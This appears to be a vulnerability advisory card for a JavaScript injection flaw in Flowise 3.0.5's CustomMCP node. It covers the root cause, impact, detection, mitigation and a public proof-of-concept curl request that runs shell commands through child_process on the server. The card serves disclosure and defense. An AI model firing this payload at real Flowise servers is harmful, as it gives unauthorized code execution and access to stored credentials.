Flowise CustomMCP JavaScript Injection RCE

Product: FlowiseAI Flowise
CVE: CVE-2025-59528
Disclosed: 2025-09-22
CVSS: 10
Auth: requires auth / interaction
CISA KEV: no
Affected: Flowise 3.0.5
Fixed: 3.0.6

Summary

Flowise, a drag-and-drop LLM app builder, evaluated the CustomMCP node's configuration string as JavaScript. Anyone with an API token could run arbitrary Node.js code on the server.

Root cause

convertToValidJSONString() turned the user-supplied mcpServerConfig into an object by passing it to the Function() constructor, i.e. executing it as JavaScript with full Node.js privileges (child_process, fs). The node-load-method API endpoint reached this code with only an API token.

Impact

Remote code execution on the Flowise host and access to stored LLM and database credentials.

Public PoC

curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <API_TOKEN>" \
  -d '{"loadMethod": "listActions", "inputs": {"mcpServerConfig":
  "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"echo !!RCE-OK!! >/tmp/RCE.txt\");return 1;})()})"}}'

Source: GHSA-3gcm-f6qx-ff7p

Detection

Look for POSTs to /api/v1/node-load-method/customMCP whose mcpServerConfig contains 'process', 'require' or 'child_process'; version check 3.0.5.

Mitigation

Upgrade to Flowise 3.0.6+ and restrict API token distribution.